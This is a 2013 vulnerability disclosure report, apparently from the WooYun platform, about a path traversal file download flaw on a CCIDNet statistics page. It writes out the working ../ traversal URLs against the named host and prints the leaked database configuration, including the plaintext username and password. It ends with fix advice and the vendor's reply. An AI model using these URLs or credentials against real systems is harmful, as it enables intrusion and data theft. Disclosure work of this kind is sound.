漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-043460
漏洞标题：赛迪网任意文件下载漏洞导致数据库用户名和密码泄露
相关厂商：赛迪网
漏洞作者： 西毒
提交时间：2013-11-20 12:35
修复时间：2014-01-04 12:36
公开时间：2014-01-04 12:36
漏洞类型：敏感信息泄露
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-11-20： 细节已通知厂商并且等待厂商处理中
2013-11-20： 厂商已经确认，细节仅向厂商公开
2013-11-30： 细节向核心白帽子及相关领域专家公开
2013-12-10： 细节向普通白帽子公开
2013-12-20： 细节向实习白帽子公开
2014-01-04： 细节向公众公开
简要描述：
赛迪网任意文件下载漏洞导致数据库用户名和密码泄露
详细说明：
http://stat.ccidnet.com//count/count.com.php?image=../../../../include.inc/config.inc.php
http://stat.ccidnet.com//count/count.com.php?image=../../../../count/count.com.php
由于image参数未进行任何过滤，导致精心构造好的链接可以下载服务器上任意文件，上面下载数据库配置文件
将上面地址复制到迅雷下载，即可下载到其数据库配置文件
如图
![]5V7[G__IM6)8KDQMU(LLIO.jpg](https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/201311/201226157a21891c066e157ddf6ade867cfec94a.jpg)
数据库配置文件为
数据库用户名为ccidstat 密码为 ccidstat@2008
//数据库 ## 安装前请修改一下数据库相关部分 ##
define ( 'DB_TYPE', 'mysql' ); #数据库类型
define ( 'DB_HOSTNAME', 'localhost' ); #数据库服务器名字
define ( 'DB_HOSTPORT', '3306' ); #数据库服务器端口
define ( 'DB_USERNAME', 'ccidstat' ); #数据库帐号
define ( 'DB_PASSWORD', 'ccidstat@2008' ); #数据库密码
define ( 'DB_DATABASE', 'ccidstat' ); #数据库名字,如果不存在则自动创建;
define ( 'DB_PREFIX', 'phpstat_' ); #数据表前缀
define ( 'DB_CHARSET', 'gbk' ); #数据库字符编码,如不了解设置,请勿改动;
define ( 'DB_CACHE', '1' ); #数据库缓存设置1:开启,0:关闭;
截图如下
建议过滤下参数，未进深入测试
漏洞证明：
截图如下
修复方案：
建议过滤参数如../这样的跳转符，一次过滤可能还不行，深层次过滤下吧
版权声明：转载请注明来源 西毒@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2013-11-20 13:43
厂商回复：
感谢您的提醒，已安排人员跟进。
最新状态：
暂无